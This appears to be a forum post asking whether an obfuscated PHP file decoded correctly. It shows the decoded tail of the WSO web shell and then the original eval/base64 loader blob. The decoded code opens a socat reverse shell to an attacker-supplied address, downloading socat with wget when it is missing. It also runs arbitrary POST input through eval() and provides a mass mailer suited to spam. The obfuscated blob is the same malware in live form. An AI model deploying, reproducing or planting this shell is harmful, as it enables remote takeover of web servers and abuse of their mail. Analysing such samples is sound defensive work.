			$cmd="if [ `command -v socat` ]; then `socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$addr:$port`;else if [ `uname -m` == x86_64 ]; then wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; else wget -q https://github.com/ernw/static-toolbox/releases/download/1.03/socat-x86 -O /tmp/socat; fi;chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:$addr:$port; fi";
			$chk='socat';
			break;
	}
	if($cmd!=''&&$type!='bcphp'){
		wsoEx($cmd);
		sleep(1);
		@unlink("/tmp/socat");
	}
	if($chk!='')echo "<pre class=ml1>".wsoEx("ps aux | grep '$chk'")."</pre>";
	echo "<span>Command Used</span><pre class=ml1>$cmd</pre>";
}
echo '</div>';
wsoFooter();
}
function actRC(){if(!isset($_POST['p4'])){$a=array('uname'=>php_uname(),'php_version'=>phpversion(),'wso_version'=>'3','safemode'=>@ini_get('safe_mode'));echo serialize($a);}eval($_POST['p4']);}
function actMailer(){
wsoHeader('Mass Mailer');
if(isset($_POST['emaillist'])){
	$emaillist=$_POST['emaillist'];
	$from=$_POST['from'];
	$replyto=$_POST['replyto'];
	$subject=stripslashes($_POST['subject']);
	$realname=$_POST['realname'];
	$file_name=$_FILES['file']['name'];
	$file=$_FILES['file']['tmp_name'];
	$file_type=$_FILES['file']['type'];
	$contenttype=$_POST['contenttype'];
	$message=stripslashes(urldecode(str_replace('%5C%22','%22',urlencode($_POST['message']))));
}
echo "<form name=mailform method=post onsubmit='mg(this);return false;' enctype='multipart/form-data'><table width='100%' border=0><input type=hidden name=a value=Mailer><tr><td width='10%' align=right>From Email:</td><td width='18%'><input type=text name=from value='$from'></td><td width='31%' align=right>From Name:</td><td width='41%'><input type=text name=realname value='$realname'></td></tr><tr><td width='10%' align=right>Reply:</td><td width='18%'><input type=text name=replyto value='$replyto'></td><td width='31%' align=right>Attach File:</td><td width='41%'><input type=file name=file size=30></td></tr><tr><td width='10%' align=right>Subject:</td><td colspan=3><input type=text name=subject value='$subject' size=66></td></tr><tr><td width='10%' valign=top align=right>Message:</td><td width='18%' valign=top><textarea name=message cols=50 rows=10>$message</textarea><input name=contenttype type=radio value=plain>Text<input name=contenttype type=radio value=html checked>HTML<input type=submit value='Send Emails'></td><td width='31%' valign=top align=right>Mail to:</td><td width='41%' valign=top><textarea name=emaillist cols=30 rows=10>$emaillist</textarea></td></tr></table></form></div>";
if($emaillist){
	if(!$from&&!$subject&&!$message)die('Please complete all fields before sending your message.');
	$allemails=split("\n", $emaillist);
	$numemails=count($allemails);
	if($file_name){
		if(!file_exists($file))die('The file you are trying to upload could not be copied to the server');
		$content=chunk_split(base64_encode(fread(fopen($file,'r'),filesize($file))));
		$uid=strtoupper(md5(uniqid(time())));
	}
	for($x=0;$x<$numemails;$x++){
		$to=$allemails[$x];
		if($to){
			$to=str_replace(' ','',$to);
			print " $to.......";
			flush();
			$header="From: $realname <$from>\r\nReply-To: $replyto\r\nMIME-Version: 1.0\r\n";
			if($file_name)$header.="Content-Type: multipart/mixed;boundary=$uid\r\n--$uid\r\n";
			$header.="Content-Type: text/$contenttype\r\nContent-Transfer-Encoding: 8bit\r\n\r\n$message\r\n";
			if($file_name)$header.="--$uid\r\nContent-Type: $file_type;name=\"$file_name\"\r\nContent-Transfer-Encoding: base64\r\nContent-Disposition: attachment; filename=\"$file_name\"\r\n\r\n$content\r\n--$uid--";
			mail($to,$subject,"",$header);
			flush();
		}
	}
}
if(isset($_POST['emaillist'])&&$numemails!==0){echo "<script>alert('Sending Complete\\r\\nTotal Email $numemails');</script>";}
wsoFooter();
}
/* Choosing the page */
$act=$_POST['a'];
if(empty($act))$act='FilesMan';
if(function_exists("act$act"))call_user_func("act$act");
exit;

Did this file decode correctly?

Original Code

$hf4967d9a18c9e1550a7d3403b8234e89="\147\172u\x6e\143\x6fm\160\162\x65\x73s";$mded9c6ff1375691dcd97038aaf2c4048="\142a\x73e\066\x34\137\144e\143\x6fd\145";eval($hf4967d9a18c9e1550a7d3403b8234e89($mded9c6ff1375691dcd97038aaf2c4048('eJyFnEduxFCSbfdSKKCrwAG9Q6EH9N57oib0SZP0fvU/hb+AHighk4Z8L+LGORJT/9xqGiMLkiCKqiSIDM6yEq4KikRxtEZxBIL/9x//hTHyvzeZHf+9iar43dTf/8IEtFa/b6K/z9B//OefHY0QGUqTGY1DFVRjZEZCJZHXCFUiGIQgxf/+I8/+//0x/L83SmD/vfH69wVW/W7Qqaz+8Z/qzIZ//fP/PKB//d8v9q//qdRH/FKVhdEP7pagaEhMLvPMKLHYhT+u59vN+PLDaJ9weJGfjof9cOlVX43JkdShyLUJem4ZYnKZ/oE17tNJnjId2yNT4CNswQwrCbCB9bLSjXD2unpyYL7omF1yYKK+lB2Ttld1KGBDFgCaJ22AXQ6CQIVNgStivRpgvaVMXSik7WMBiqlATsgIsVpL9QkiVtP6OQmcJ0jIQnxzLBjHHV5RGCLTIH0CJ1WCYw3uaOHltP173t9HVIPkCYPkaF8rLBQVBfOcwNEJT6gWNo6W+dzKmjYKuNWPuHo1VR9yaUNygLEwEwnaCw8sZidHxssBwaAnFXafx5z8dW/CQnQ6Cbv8WMBBwupGZHex/ObBZr941Slia2SE86CCHWJSnPiqWim64+aIzM0o9nH56oFMOD4rX9+T4VWijBRIxAA5hA4u12XbchXrakX84EVfdrrQcpSBe+bWFVvPtsaIeoNQa4rSmIP0ckbPceG4ppgAcUsjFYrC8aZJJooIcZgKjAReizltRhUr2pIH+U0lXtgb+HB+2wJpeP2jDiEijgeJkdtYkWyepslZVgF7YwywfdvKIoqHrCcM7ckJ1eyPk4xcL2qiGGlS2P0ey00r9V7+92F1rmOIUw0xKmiI3+7PnwZLmx5DjIVfXKkLTtOd3svCo68ft0Uuz2o69nOJbfuiDvZXrfUe7ssjy+ChR+A6ufXcmM2l4+Sux9D90Ks+WFLLLGj+pAqZl8yuN+hz0gizNoDBUdLuXAfp03i3AvI9TZquIwhfDCfvT+mj9jy5tddzN0dEMEkydSBB+e8lBhYfWnQEVSXQqJostU1rn6zGzrYJ5dt85+YJTq5Rz1xNdwFR0+u3DMgIsOYk4Flv1TtLBVYojEpRivAKbWqEKQizfNO0kcxfU6wjqFz5WdEyCM04cX61lQC/3uUGubOfBOZAKGllESSsJNf0Q8ZBFDVU1DCmXN7m7vHoH2qYxKhSTBqiFSdRA/8s1cm1uqhP7sJu4jiRDHuBzHvxr/XR9hfrOOdIpjcJWIl6gfY9fS+CR7wsYSOstO8rZ5bfdaBWhdiUXglDDQY0Huny2uoSD0YpdA/DFdvz4Uk/CK2YWBwkBxW2u0rZfh1UmVE4/17bCXDGzKXOMAOmzDJ2tkHKtRpEfqzSyHwwKv41VQl9qCD0Dcw3w9fzpwItgdAEr6Dtzh42clloo0rwa21AzWrGYT5sdsuyy/ZSmjifXe4LqqKbSEfgMnkBAzhiZHYWKwxPvDdmAdBbUEtYJSpKqLW/csBaFPrSAa5EIlF4l/UKlltsVcllQGUdYy2p6gLakVZT6l+RxaSerJetjZtqWyPFMcEq2vTbF+9h1MINB2ziCf2GwcIjpNtmGKQzl407CXhXWRbWxXqGRx9ypeouQWSWhfwh7BMyAm4OyzgxiPv69HDUE4y9wnMmphiUUAqq5t3rIVAdpb2j6AotFkJFb7DrTJAAChuV254lTthujr3Hd3a+MEzTXV1+yvhIxWCeBSdIjwqCSyRVfuw5gHDGwzrw+3QhMEHaRzyVYxXPXMNjoWDO+DoDv/MbzgHgTshfhgLNBfRFtV7Oi2CeG3U1nHYBQ4/lUatux3QuOEdBWzcORvALZ36NHgWnoFdqFTt3WqYKjeHsJGOVVVEfV2zlaqehxjbQFmXFI+vcuMp730tMM+Q6TyJ19IMmuvBZo2vflXzXeL3ikYyqQrS8HC090BI/pJ2aedwfV/ztGkajNQwXvCX6IkrSOngSpKyGUuVYv0A/NPERFSC76edUq+83yzj9Njiff96jIFDIRe8JzsKphT60iB94q6PEnTODxWmM9PkePJcen2lWkGQNKNFAJTGssE2f0rNMAHBvZxA99QmDV3GIQ2YsiaBdc6llR7CP4vGTFuQrnZNz/3KMQZ2Y1bWA2o0sXcCNf+fdCRCrX0M4w3md/hRXj4Bl90vm15EVenG+09aJ/Dns1RrDt2pDr3+VokXtE5MfebP1SZgEPq63erRBQVL535w6nTx/sq4tDnugnBQPfeidtBkzEP+5Fq6sb2CW8lyRptz3YFPHPfj4+u8SR0hZvR8yhgVj06wU0KFWdZVJ62SB+s3bTgTfSGb5yMJt1M5YCY1uK5IoEWfwj6HQAV0lPvnk1JDZvgzocu6zKEZiQDcfEIBJ6Kf0lLpaOC+SB4Fa0+hG5oefJ1Zgv+n5CFDrkM1v3xkUtf156NSedMkfW2RsmA7XGZsDh4FKKvlK6mx9HhFekFWBEcboHDPd3bwcmSA7BsX6dMgO5HDguIAF1wLYtNqvKs/BL1PqiN62OvEsl00ha00NPO8xJsxYrguVpgktPEwnXYxgsGVZ2AsX862i9QdZHI9ZWWwDCGmeKua5m0omixPFy1Amn0wJs/54Qboe+rfuJz1/yDbSwbc3m5kZZKJbtR3SxzZyeKR/5PQtWFy3KGVkvyeZpdu1X0XAPQdsCMFDZxoXRttjkLTciUTmhitNMqsXZdRaRJdH2Jov1sj+4K9Qqw/1GsNbqdThFOYGj9MtpKM0fByYYNTBQi34+A29954+Svv+hgHbXLE4yqbe4Zcp0pjRFXPZWJIPH5R3P41AgeOhW+rn0zvfDqeCstmGXTw78wUARhe1ZwONMRiKjkYvhFpnOhdQfsF0B3fMykVo/ldLuGF+W2IrKuFmiiDfxZ0fVfZz+L6iRoysAYEjsy1xXaS1NyBI25LxQ7AQcTXKevnnaeSarGhL0n9Y1CEi6ji5FzihjWjrs60p/xW9bfkBWlns6BalvYvkqwl0KN2Y4FNF+ceqQrb7sJC0FSj43St7YR3B1XeJqd+Pd1IPYzkUIcBd8tl+8GF/DEP6HDvYaREcWhoCHpM39zFN0E3VJSI2mx/IYDf6PEaJrvpuL37o0I+Ak70tGDug0jfcuAbbPbE+yxiiaV9XyFEmnS7WL9HahZ6xu0H9iM2IzKB+cd3REUhxt/r2AAzdmK2NDSGSlD/EHPIhMtrwXTqYR1bBRnav20tnGNzHwrDYiM7BKNxQzl8BV0XlyA18PVdSAfawuJujdlGlGbskPrSQgIy73tOL1Dnardgtoxy2vBiPdirE6almpFAIeidSjuyMpmHyQca7x22pgJOJsJAAVQ15SJ4xUnaswh6CGXlh1jTwOyxYv3NmZU0cKpZjwziVFltssCraDCQIZZEvwwLhwV/K91u0uRMaYOW1WLzgbLYANsD7BiQzyJckoJtoOLpINFuBMX3qT2eGp8QULmHPr0nWBrBopdW2ExkVUTxV3swe1U13zy8fEO2n8ga/fbmPJ7+iqlUV6+a0+7q64mcXWR/fYDmlbVWILz1WHsWQiaGx+AaZNYl6Zp5gekRPvz5z8fpnNH4YOhwxAC8y4N0TrcUNWwrTfOshlDZDSuD4eqDV8wQUFs7oFVb9Tr6BPRNQTYXYYU7jT4wCtf1mSVMr2JuBK37F7DL6wAwytjdTyNG6CUeLUko74bMhuKabupVouTNVfk5BdTVVcSr3WmTrfpQsDIpr7nEbmXJNjMvISkZLgHBIdFrlLWKNxCyPMIRsnzAnslXHtZYN8qRbUN0UmQdJiRn/KE5+Bco9sI/8fj6ZBAQj2jPpF+0j3/qMn04F6MitubtB+jNaUiPOrgB2oBemQHEmrgJqGgxq3erbDunId5b6WKcUKLb+nQEgvmwW7b7+AQc0nY1SJXQH8st0l9udT9LRlFWjBod8qdTToOmAp3OXXiWkyHtq3Zl/ViZS5aJcHEjnfAVp+qebBaLHOdSwfNvGh0K2YRi0kdvnge/NuqjzhazJFHcm5dsa4zQgnIuOlZuM7DJQ9m+vd9wg5Zc5meLns9B39BnpcSQaOu8N1+BHZootGvsS9uOQewKaBC2awfZL3OlYf1VlRhHulK30IhQPpdT0ovNih6jdXmMDQ+aTyOUalmY8drm/+L8+uS4ewyxVaeQJtFUX7YZsITHkMsC4IwBJBYcxJ448Gy6WGehKSaM2A/y3dEQSAug6IyhhfDgtEFE3lkSvAXu18EMnoAPpnSiJ2OZZQvvm6DpaqNdf0dKudD763A8Se1aMHRiUrhXPDhbPZFJkihg/jyfspaKqp9YRE1CEFxM4kULBuCo9mNLJI8JuKhSuqvLrSmzhX6aiDSaWsFUzmg2nNa8joi7Q8QjRjbsywUHgRjs/o+Tx+9V731BmnbqHmuDDfzPUaa/0y/ud+T1uSjoG2jroM5ixdJOMzALfb1oPWgjScxOfKqSqUkKPxzHm5ODv3dEp+hpmeQq1D+Ctw6dofkS1avK4uEQxyVwwJvUYqCxR4Ud72fVityitM6Y/NhbMhgg2gs9OrPdaH5n8MxDUUFyZo3wluM7+9L9+aadzrIs1oTTg6gz+gLugn6zHFyW5l5eg0ssfgjTtDYKdaCso76t7jMDJc4yNiOR6fWUXO0ExSDZPRjdhxYAmVudsm3UmvqpYAFBDxI9+Bj9Sups+npD0HOfL2MeM0r9BMCStBWwvDxjK49Z3gDA3qAKVS7/4quZk+uH7Z+mirCZ5t7/ZCEiRJ3OVxOmuFhvqoJDjNdVK+hRgUkWHJI9ABx3uFSaGo+kwzehdh/x8NkGnnudn9VGah+RJL5+WskCsP/lGsGgeRiRKBchL7GYYljbX8mskv/3TjAWtDV/R7DAMDpUMESkSN4ebuEKm/Nw4xlyxSbR4p4/yJ7mZbK+Vvq0H/pUoyX2l+409Cl0NxcgkkSrdk1JKyVtZE4Izf7QVP5gXPh2UK0jll0sg/YyS4Vq7RqFIow3uUBp+VU+Ra98gIh7WInl7h/Rz0c4cFiv7Um+3ul2u70rpsS4pBVsr/zj20tgayz29841k/VC/zjcbhIGyKOzfifRYLCWsxojRjgqrfe2Wqrakp1TAVuN/3Hh9yShnODYC02Dwa7cYtrVMApxoV+8XuS0opqigPr9811Bh69Mvdspuv7Gl5Zjj7V3VBK8oObpsLwhaROTz52XL2yVYJtxaSYl3HKAVET0f0qtjO8C2LaW/eFUQn1ciYypD0xu1cnh1ZutHVkcc7lY2egndRcwmNB+DK3mFOCdLYeOdZ7dmyOQHFz4xyse7Ahzanb30JwhH8vPSniLzs/JOSJqk0dpLUv1BV9mNy6+tsIfkVPzHMC0Vio8nwNDWdaiSiz7zhi4UqXSKxYAm6SR5IyzKb4p2c/Cg+gw32Ntp+6B8ShA0x1V3zoIBttoayaJdpl+OdE838eJLdib7lfIg7kRNzhzGVLM3AQuco1RYpeo2tn2uo1YHWCRZn+kAP8SKT+AzqS8kS84gQcfMSQnEyc/j5GATV9sWkgGk5fEeNOsSPnR0Lamj1XsfNpAvQdFAMyXgubsOvbiBO6T2CJVJuSqDWLRke3ov4d3uMiqunaLf8k5X0fagzFZakl/8QcDPUSgLmEcKQk9cGABgpryeHbvX0WlyI6CuT97YOIb0kguyLhzUkusPgOwxRkrwgTArjA94nYScQ3Y+B8WWnqd77zVmjHyprRC+43xvv3PqqzH+nYZHfEqOSVcze4KAKXLWrKUcT+A6er8yMrCctUjm/kG1yY7QMySu1j/yb7iRLPlRrrsTIASsuXI3N+R1rwuRrWCyYus3ue4KW6/rJ1zkgyF7TnVEFTLiGJsbI4kzI7S8WLF1ofjrSaw2j8IBsWCs2cMQPe9TlSrf8Zcc4fWpe33rsK4lYJ82W5D17+XMlbnDzS5EoeebnKLwmdHNUNYMAVj74Y4twihIpSFxxXNXum9vytMZArQeeChZCYFrC/KSc9qnUSMOk8qSHCfN7Rm+Ktj69AX5amK/vcdlCNCFwaX+s1BmChgQ0KIfywCADpfndzVcnVlycdVSR6bVfNHWaOZumpaJaNrhVLc8uiqMI2ak/Ge7RYs+erEOT1weFCXFxfrdTZhhKT5zoONrb6dPR8IVP890sAGklyWaztQQVItTdoepk2mFtW722LlUfi7Hj0O/fxtUHMWIoZkKMt5TxHqe+RqmVl22GXSqiiCWBgHUCwdUpneQeQD3Bjyx91m9kn1ObQRYHjSzj28s9Fa0yue14jp7uUOJ72GTXUMpaIW6advxKVNLyPmaQsdmxmlSrHwoQZezt9mGWhNROLO70hKg55BRtq8ja+ywg45M8vtN1joFsh9w/d0fKqordHcPWNU51K4JTgvQEnTIjSjj7EiW972+dkMjpRr6clQ6JTCBTRxbI0qFZyOJEVL7EqftDKjU2rEe+MKo4itsP3IwYg2qhKlQRYBxGb6CJu/mN6JhMjKmWWy/xnIHjXT1lAJaPdF6WmdDLzBldef0N10c7X2D/oDu6OMwrSbl+3JoZuCAOY8SUHZ8+2ejb4BPVkKTW7WxVWrfOGCPsRU5Hk/hkrmOeTRElUiQ4Lcmzr16WwF7rtimzz1Tp6/lvTSWmVahOs+X1ghcYYj96uISML6Jlq4pKiIfbFkKdp9hI5HkuO0DVjJsed8vlDkzsf54SU3gFFOiH3EoZffrPL+Dh55hqubua8765s4OtrEVewfADgFZzzapkTRlK4D9GOcWSTAcQ0vf0IxoeVA5R2IsHqaCLRIKNhyMQ2MQxr38jxXeQib579IxpdSkScD3cmamfgJLS3S4XxOnkxCzjyDvJeUebQdrG3Yj/PVpK7d3Qbe30Tvt2V89bXRHjFTPmkO5OV0tWPxqYq7RJ3swvzjux7sFYMuB1hcpJuangqr0Y+WRsinyLEZBUoZ+oWmzw6+sK6AKUUn99RyaIepI/puclfCrbwQEs+I4DtWPxGkc782Lkby4oWpJf6ry1vF49uDbT2JC/IYaUesHhjOq9umVXogeJMmWyc0TB7uhBFEbsdYgi6CIyEy/tYTP38ItFtx9aMm6WaIxMqTTZMy8ZFyHgQj7JXvlNpwYacaKymGqDkMhdNanXXmpYYQIY8Bi838dviadZeztR3FTQNH3DNB/aqiVHFHnJATiTf52FFTyMRvoKX7YeA/381S+DsnBTGFJEbNy57rZMYMBGfMzWXJoeaUjPW6Ivp6DMW2yxcO3fosi+xZUHrPosXrNt221Vo8mYTc27URD3+DVrFaAtUKA4P1IFqT2FbpfEE5V+ROQi8j+VmwGXaFxunXcfdg5lxIoAwhydPl7/dRmAdzLqn5tP0em16AfCuGsS+1C3Asehi57YE6PclEAfLp/Awp4YxvwOZ8AHhseahSWUp6n42mQjlN+IZRk+wMZXCSPIoPhIqik+F+2wQ8UfnMzTMu7nvJwKHwK+6l/jAz218wtBOwoeTW3QikIeDT8MmgrZ3MaQ5HaUmu0Eus+x244cdN/opZeUIu4RwcZ5q/62aKtJnirpOdiH3+YAxM407R4Ohh4xJ66qxrtHYRRt5bhQRHhgqDaJv6yKnkyZKYFsQvKja47Qx9gPqKFjaQ1Tg/2bmCrk1umEh0F+PARZFath+WNNHg6KwXWr/UAKTQBHrK01rgcDvYgVy+PomRl+nyqpNlO15t2W/gBo3seOQGefqbqnjIQcrUJZmJqhk6Fd68p8Wzgzm0hmj8niM1p6pTG4Hn7YYaZz1JEgojHFT6//p8atGsW4fthY/HXBZ8yoE7raG0+4B2kwl0bB7Sr7w5070hiXODk5mTX3YQ8Ur3G8CkUSj69GDsHN4Vye+mi8NLG3LBOw2UMNQPLEXn9Tq1wGpOj0SKe2lu5LPllnOoMMKvpSyJrEn98F+sDh+YT7bvkTRA1YqF4la9wlJk0RJCsPMbaLM/A6JgMNpjUJkXPB7HQ4SW9gCFStpKXX2k59ClxtNgzfXzuAyzqT0p4FwpJf8kw9P5vlSN4ToWXk/YzrzoeD9Sf7YallxrfNPZoBPccC+tegcCOFle3/UWcIhIzrpkkabifGgxbwI1H4jQXAoXJLJ6/NxUrlCu3uOnE3c7nzfLRyf7d8UXgGdrzXjyt1OED9Siz6uKoqeaez1oczt9vyQQe8yD6tdcvzWtXbGj1zoHj04VarF1GgCRDrplTTz1BfsrrQ98JnB9Rt+fjc8DVTo8JawT9Ns5TFT4hjt21Dqjb9WMIe/XN65AAP45EI4RRbgh0B+t4OyaaQEpt/mNDBDe1N3YlhU2lojuUSGbDpEcTgXx2cD1/keeuD5G2kuCJklX8cl2JuEGWsVQgAudjRm95Cp8yXxyfIKl+E3mhh2UH52T6yzq/8t/9mjv0InNATSb7Wf6AOq1APVjh6Q12wpVyS06DLvHdGYLLfg8UhkIKdOWj1fKACgF79Fa4di6ZJtqPm7NNtiEYcnlOj3FCKKOdkfbZ1DiSiz8NXXGNoH1O1IPn2K4UJPwbOI2Uq6TdpRq90NCpKCDZsxppduRQVDIZsKzzlSCzLcDbJzUSf3Qk8g+F3w2bA8FkBOcxKp+o8/dcxa8CgRsag4zbthlUjaqPwCMXRX+DgUsXzVe2TV39H9TpVQAT3iI67pGLdoK5NBDhaKkmgTjPvf3GZXQJ2fqGvxikd/GKD5r2PhMpubGXVQGJ7sc7UUEJnZoHHzXdQ34gXEfR5hm5YUSCeLSvyU1TFdCv6eKNFkzR6eVZwiFGezh5IyQgy5Lgux9yFnkjTgxUniTx90NF6gs4cIOaEOb+lsD02ZgGpEuov67dHOj7/g74M9STZyy/RJaNjw0IE/ZpeP857ceLgcp/zOkC5zIiFQcs+Q+H5DTH4Al3wcFdhnzly9gIucXn2kG1P6TAtpGItY/Egzn1+20qUd9qhziCYc0FNCohkKS/U62C8McLyAK19znwCP4HMPVnPCRy250dW4Dd3JHfPGp/I9Bv9aqSfbxbjUYNynYMkT2tKw5g0+YkKUH+pf4104cCujqllr7ynW81lk3RE7Mg3OJTNCq8/3BBJRs4gfXo1Pg+BnWsB5tGrdZado6BuS2RNQcT2SbAgN6VMFX8Jc9dhWzi6ft3TtJEu3OPXTGyfDFbPA79Il2TCrz4GbTzmgXHAiX+x4/hAphbccfDfbzxn3jwQYMRmfR8ej6jLZO/16o3u1YtPtgD71WHZwN8LgR26jd/VOB3Fxtsd5jiPbGYtH5gyBUUpAkHEH+QK3w4VUdecQ7BfM2wXmry3my+591YhZj4ctn32U8yaOfX8JcAZBcUPtt31Nh8GCJrNzNHFmjb3nAKPpz6fDbvNzsu2ZYCeXnB2xw5U/jIrtw9Ntid/oGp1Jchgv3FoDstXaViCoc0yPXTwWdHQFweU7i6inlEXEPfABosdzUw97o+47z9ShdfvmEkmkOIlM6cxdeAjEIoineHugCf8RW81+gpj22QH35AsvaCYQKc49mVkIJmjzxuvG1wPi7VzIpONsSno99Xfl0WcK5usoLKck/41fRaikgCUYIBf3tzawtJrpjI+snDo97rXXx0/TsxIz6XPVvc9y/aKBerd43WFwyZ9kHxfqXBEusn3RX4B5PRF7DPv+zndlyppMyCeNyZPzehUq7E9PfwO2I4a8CuwZIOtNwM1mArNXr4BBb5rPX8twApRMnfkP/An/pzhe/gD7lxTUQqKdEPZ5RfgrJwVRdmBqUGKbM77SctYd+/uW3KP5CMMhDNF9cBls5+8UiCZNGn5IvmBE+1IHSnvJg4WjIjIpYeELHCiozlILacSBmovtHSNG2LNZs/PODbefvV+51Ey/lzEA2+3Dp5g/AlMvycq98nb/Pjy2SftNjKj0fa4lXxNgJmfF+T0bvoy/V5ts2s4Ya1v5NYstE7zF6J3V3p5LLH0LOcIslTyVVuuGn1E99S/9q/0VRhr0z7weq7LpIpkurbSK54R/OAw0zbZlmzP5AsTRFAkBMMx43/0a3yRONLWIa3b1/5qdgxlLlvpzDCdnVgNNJ64gA/IX/R5srDh1jX6iULC+pEN6dL3s/5w+pfcIOgBWwuijMpTGJY1b0IahaUAwPFznUlcH+V0T+W8tRjQbrxG5ky9VGa3NbZZbIDmX+nrw19YA59uJ9nLtiQgg+UDY5V4vyRLVLEIZB9ew/UL34jdqFEmgYTv15pwLFPVz9pDMQaZnx1OBe2ToHX00GM0TBnV1ySnfYIU87DeTGeSH/IjGU6LlHsw1tIekcHLDAkE4cnttahfzyRJHRLjCWqa70F4AjEV4ROffrmxLxn8/YOXOOiKCGLzIRBVjbXKiTbGS/R1WBm8mSjyUSDT8HJKmCxPOyfxA+Va5J559GsnfFWPieyJHj4RUX6xkex7FFqSIIJnmcvOlMO4fL2gSCQyPimepZcu/Z7zgaFbnccYMLtISPMUkCC+3zR2gUC+XZYLP8dLUzRLfaBncPdi/ktUukJ7hyTx1AqyOCGcdjXZxIvA0ATQXSkPidzg9D3vARrmK36GI3AEHLF36I5eB7dDsfWM6TDXso0ZnOnaZp3ENVgFXsPH+YxYGW2baVlFLRUmnNl/THtMUr5Qk6p/8YZyYH0/WVcTEtVZyW6m44eYCAwyo8/le5uOVKEDjUNyzDfyN7jtSqkrOmSKzx9hrYFO64iZhHw66dHdN1fj6Lqcc4qFmdSj8/l3hdsD2hW2tgXzVpjRskP9utVXknoAu6LS+swOo3po1Xyy5RJMwCrrR9dlYpTJRSUfs4dO3MMSHCm9N5SWWuY32REl4szHUVs2sfTeWlkL8hf7v7hf8bt0rzVnl/q0HJnjZLwNxoKhPgYc69qkK/wqiKmb8dHs/3WIwbT9hnShKUMX1F1FpWkpGmri5m903iTrtbVsZB+HJmGcvh+vSFarpu7MdwrivP3E3t25e/a4RHpp2t5Hj1Ks5VyqItTeTElIQ/Z7+0XBnMxFAVbTut9owGbNKYgxUuBa3Tkm3/HHuTL1vxOLF2xWWmiaHpuST7eXWbUaBYKyzFJAijwgiDMcFp03B09s2fxTgt63QNkslq36A3/ZGK98UuiQpJsUmM5tYUuP3gdoatufmlZ297I3gL7HPxS8s6xn6pInSP8Z9Q1l6m+iFtrlqK9i1t9VIociYujQrq7PhZLPoassy8Mbn0H17Rlbt5msPhlXp9z21eHNVWvm4v/RLRm9PiboSo1mayU9zBhZyGMJKG6PPoHxw/Ran96LbvlAwZxDqMob6/BOUZC2JdPrH6hvj/kwV+Te84Bbu0vJ+ymvL9l9+38QUM2XwNfyn8gnVuXQQ7gGjzcWJ9X8LdcSYSdg83kRwrUJa69o9Z0comTyLkpZi2YH8BEf+DUS6r8Qyv3WeIarpDO+JElgNuC4y/Bd95OKswd3seRglE1FqGetl+hUowIGl6WKZ+MoEw4tcc6kavVOwbtUDKpsi6CBlfuZ3qOxnWuIvFMAQIZIP0+w1a4WRbOGrq9JTuZgwp0+OUR3PJsoEI0qwIdVIYC++KRQqdD5OQvMjTMrvu9hriYGFx/7NuNb+46vfZXBamJoE6YMd4QzKQA3l+zg+iKHBX1OI31Hv3SK//cXw9lTYPe34SHIXh9JgvaWWVmKRLs2LX6Mx2I4bX0vSGX/ZU/mDTTif7U6tvMPIvwhp9z3S8xWyY2+gpMql/1Gn64JteSxrZNqnVCEHl/6XcB0hb0rFDbm4kklAjqloPvVj6P6kF89rFmFDJP501E96JweRHRW1UnsBmjlt9xC4Rk14gaMnXLWG3EyHoZ7076eJl1oZl8Rw1y2B3XPp+IdjKt6GzQoM6okn/8HsxWMyBq/Ns/dA9Snyz3q/AXCbQx6gn9sry4dHrXFxo3DAbnJQCfuUE0munhz5vGy6VRZFfLiN20dna9KsKpkWZ8xOn4ifKqa42JYORK7JfqUC6X44rj62VepnprPGSZKl5HsMDiwXv3TgllbyZhqAMzoe3mZurMeqwXZ8Y++m/QOeLI0oWcq5di4VC0gTCC8R7ZuMsHYszVUZB0GLOC/0nJy7sA5GHb9GuIyqzzK4tge4MzRyPO53H7XpieERmmNg4VF0iZwAofyicaqSHAxfUBt206cSaMW9i5HEH38aTLdNtO4eHoUlwikuPBeAeBAtRjch1sO1MFw+ppQRK2GykZbDpfuCHjR7jCy3hChPwkJjQa34/ZAwmXA3fVg6xohoz3EH676yB5GMPj/oa/hNfIlD4toIVQ9PFc9tARmHUjpK7Zpa/Eo+xd9MBspQI1xWmyrLu+XIwA2v4e1pqKyWZJ4x7rgqIOht0lgGA8aaiJnpL9lsR/Xtly4pHpX1wUrLhgGJL/dnrwsWbrULJRlH8ZiusFa8RAvFusQwmWnY0+4nFv9P18naz+xRdniLXMS8Zvt0Y2TVxgCzQbRWDpAKl6kGehpIVnaV383PPgJ4Ya+mWAiXZBfoSx6MmYUPhBvdp5BlQbtMQeszV1zBe8Dc84/IrskZtvZV2Yxc08GVfPYQ2sL4Am6AuAUI+pf730lF1lMBlkQ3jXVcWAoHz7WZt9AigQuzPskZtixJ/ydww+3t/UYC04fPxw5szbJaYvNtKwYEEelIFUVVaaWnd8FyL2dC5TrsJN84lpcDg4EAv4nfjlzdWK98vkYPsOH9dd5Q/HnM24v0jEp+4XEL7wXlQ4ZB7+jJZO9IU1A4rJMHT8nye47wFYPiBhjl37rTxwMd0odlYIuVV7/M/HmTlm3tw+LrMIOfWDiJ3e/VYFJZj5+WC0jNfKjevRNLtWhJeHHagP5ihfF0C1oO2gmOXH4uzDpJ+/UlkSAYNC5DO8qVLLT5lx7yh7xG46n81wmwui64d+1c0NUNtFKf5VWLIj9q95QQUA2W1yKVsXkEIOT234tTO7tu7Eb40IvFa8/FATShtiOZKFqdO4trOA9W7InvF2Tde8PnxLn+pmdt0FPAxDXTQcFJWFCPiNmifg4/r1mvHGJhpqQe0TStruS/v+1dUxfkhMmOLUD/DkzO6pKPcAyimDLI0O8Xvitlu0W2ewEzP58uuYqvqKwt2hVOaKjRTT5IdV5Ox9GCxx/JiPq16flSSH+bg1RSHv4YbJKcmRQ04O1/hYJPJznV+5ax9cYazf+pan3PIcn9Lz9v0M4bNbljwbRIzEKwqlP80fv/AHB9FolkmnmQ9E4riLJHChosJktgDkoPHokiH6W5VhAPUTlFoEry16yQ2XhXbIHcZ4oZ/iVQPMuzziA2YEhzbN2aeVz/JL8qalgZQfeccyD03f7EygvEctD/+BkcszGs+9lWAZO3JEAcfRqikzbUo9VEVp8PXRF9JN3U2soDcxbVLpfGdWE0UKNizQo3oaDadzD/VWd74RS5s7Jeq1x59zvQXjErCrZnSmjh1PKiLKwsF6wh6CNfODfcA+EbbdHDN1KhXKhtEoMS1HIkf3ECljQHxDKIF3Gcs1eGrK5NNAYTENiqjDzpjb/UCDyfg+5KgxVz8Q9y5M/iVUkiVrm/iAlrWSaahS43ARbfyGsbegRA+uCSCrBkVsU/KtCO0MG1aJ/e6LjCQX0mGfnk8Tu0fQoRZQ5w/